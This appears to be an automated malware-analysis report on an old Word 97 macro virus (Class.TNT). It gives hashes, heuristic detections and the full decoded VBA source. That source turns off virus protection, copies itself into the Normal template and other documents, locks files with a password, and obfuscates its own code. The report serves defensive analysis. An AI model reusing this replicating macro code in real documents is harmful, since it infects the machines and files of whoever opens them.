Win.Trojan.W97M-9 — Office (OLE) malware analysis

Static analysis result for SHA-256 ae1be50753de5377…

MALICIOUS

Office (OLE)

86.0 KB Created: 1998-10-19 02:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cb13f7a74006195200629dfcde7b92de SHA-1: e88eba6108ba382da91ae34970f14fea387a63ea SHA-256: ae1be50753de5377fb25e0a73c568fbbff818c547e8e9917b09e070902210605
180 Risk Score

Malware Insights

Win.Trojan.W97M-9 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic and VBA macros, specifically triggering AutoOpen and Auto_Close functions. The critical ClamAV detection of 'Win.Trojan.W97M-9' strongly suggests malicious intent. The macros appear to disable virus protection and attempt to export/import macro code, likely for persistence or payload delivery, indicated by the use of 'TNT' and the export of 'macros.bas' to the startup path.

Heuristics 5

  • ClamAV: Win.Trojan.W97M-9 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.W97M-9
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14882 bytes
SHA-256: 12c96a6fdc89ac1d48e88b219d33b3412f0e1d4b3392772c6a168d38c761d915
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

Dim rsx, rox, xix, xxi As Integer: Dim xxe, xex, exx, exd, cxi, cix, xic, eox, xoe, oxe, cii, rxe, rex, exr, nix, ixn, nxi, lnr, nrl, rnl As String: o = 0: r = 0

Randomize

On Error GoTo 93

Options.VirusProtection = 0

Options.SaveNormalPrompt = 0

Options.ConfirmConversions = 0

rt = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines

dt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines

If dt > 0 And rt > 0 Then GoTo 93

If dt = 0 Then

    Set tnt = NormalTemplate.VBProject.VBComponents

    Set hst = ActiveDocument.VBProject.VBComponents

    If Month(Now()) = 12 And Day(Now()) = 23 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) + Chr(32) + Chr(83) + Chr(65) + Chr(89) + Chr(83) + Chr(32) + Chr(72) + Chr(73)

    If Month(Now()) = 12 And Day(Now()) = 24 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(67) + Chr(76) + Chr(65) + Chr(83) + Chr(83) + Chr(32) + Chr(84) + Chr(78) + Chr(84)

    If Month(Now()) = 12 And Day(Now()) = 25 Then Application.ActiveDocument.Password = "TNT"

    hst.Item(1).Name = tnt.Item(1).Name

    hst.Item(1).Export Application.StartupPath & Chr(84) + Chr(78) + Chr(84)
    
End If

If rt = 0 Then Set tnt = ActiveDocument.VBProject.VBComponents

tnt.Item(1).codemodule.AddFromFile Application.StartupPath & Chr(84) + Chr(78) + Chr(84)

With tnt.Item(1).codemodule

    For j = 1 To 4

    .deletelines 1

    Next j

    End With

If dt = 0 Then tnt.Item(1).codemodule.replaceline 1, "Sub AutoClose()"

If dt = 0 Then tnt.Item(1).codemodule.replaceline 99, "Sub ToolsMarco()"

If dt = 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

With tnt.Item(1).codemodule

    rsx = Int(Rnd(11) * 2998) + 24: rox = Int(Rnd(15) * 5863) + 33: xix = Int(Rnd(44) * 3544) + 55

    cii = Asc(rsx): eox = Chr$(cii + 5): xoe = Chr$(cii - 14): oxe = Chr$(cii + 22): lnr = Chr$(cii - 4)

    cix = Asc(rox): rxe = Chr$(cix + 7): rex = Chr$(cix - 16): exr = Chr$(cix + 4): nrl = Chr$(cix - 17)

    xic = Asc(xix): nix = Chr$(xic + 9): ixn = Chr$(xic - 18): nxi = Chr$(xic + 8): rnl = Chr$(xic - 33)
    
    cxi = Asc(xxi): xxe = Chr$(cxi + 4): xex = Chr$(cxi - 3): exx = Chr$(cxi + 18): exd = Chr$(cxi - 12)

    If Month(Now()) = 12 And Day(Now()) = 26 Then .replaceline 87, ".replaceline j, ""'"" & eox & rxe & nix & xoe & rex & ixn & o * o & r * r * o * o & r * r * o & exx & exd & oxe & exr & nix & lnr & nrl & rnl & xxe"
    
    rd1 = Int(Rnd(1) * 40) + 1
    
    If rd1 = 39 Then .replaceline 87, ".replaceline j, ""'"" & eox & rxe & nix & xoe & rex & ixn & oxe & exr & nix & lnr & nrl & rnl & xxe & xex & exx & exd & oxe & exr & nix & lnr & nrl & rnl & xxe"

End With

  With tnt.Item(1).codemodule

For j = 2 To tnt.Item(1).codemodule.countoflines Step 2

    r = Int(Rnd(412835) * 303989) + 8485

    o = Int(Rnd(487958) * 785865) + 2988

    .replaceline j, "'" & r * r & o * o & r * r * o * o & r * r & o * o & r * r & o * o
    
    Next j

 End With

93:

If dt <> 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Sub ViewVBCode()

End Sub 'WM97/Class.TNT by Virus :) Smile











' Processing file: /opt/analyzer/scan_staging/c5d991c3f9284ec68bb098be42a1b82d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 7280 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	Dim 
' 	VarDefn rsx
' 	VarDefn rox
' 	VarDefn xix
' 	VarDefn xxi (As Integer)
' 	BoS 0x0000 
' 	Dim 
' 	VarDefn xxe
' 	VarDefn xex
' 	VarDefn exx
' 	VarDefn exd
' 	VarDefn cxi
' 	VarDefn cix
' 	VarDefn xic
' 	VarDefn eox
'
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.